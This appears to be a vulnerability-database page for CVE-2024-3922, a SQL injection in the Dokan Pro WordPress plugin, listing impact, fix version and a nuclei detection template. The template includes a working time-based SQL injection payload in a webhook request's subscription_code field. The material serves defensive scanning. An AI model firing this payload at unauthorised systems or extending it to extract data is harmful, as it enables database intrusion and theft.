HexBrain

Browse / CVEs / CVE-2024-3922

CVE-2024-3922· wedevs / dokan

Dokan Pro <= 3.10.3 - SQL Injection

criticalseverity
52.9%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The Dokan Pro plugin for WordPress is vulnerable to SQL Injection via the 'code' parameter in all versions up to, and including, 3.10.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.

Impact

Unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Fix

Fixed in 3.11.0

How to confirm it

Send: GET /wp-content/plugins/dokan-pro/changelog.txt
Positive when: contains "Dokan product"
Send: @timeout: 20s
Positive when: duration>=6 and status_code == 302

Run it with nuclei: nuclei -id CVE-2024-3922 -u <target>

The full check
id: CVE-2024-3922

info:
  name: Dokan Pro <= 3.10.3 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The Dokan Pro plugin for WordPress is vulnerable to SQL Injection via the 'code' parameter in all versions up to, and including, 3.10.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.
  impact: |
    Unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  remediation: |
    Fixed in 3.11.0
  reference:
    - https://dokan.co/docs/wordpress/changelog/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3922
  classification:
    epss-score: 0.52915
    epss-percentile: 0.98984
    cpe: cpe:2.3:a:wedevs:dokan:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wedevs
    product: dokan
    publicwww-query: "/wp-content/plugins/dokan-pro/"
  tags: time-based-sqli,cve,cve2024,dokan,wp-plugin,wordpress,wp,dokan-pro,sqli,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/dokan-pro/changelog.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "Dokan product"
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin.php?webhook=dokan-moip HTTP/1.1
        Host: {{Hostname}}

        {"env":"1","event":"invoice.created","resource":{"subscription_code":"11111' and (select 1 from (select sleep( if(1=1,6,0) ))x )='"}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 302"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from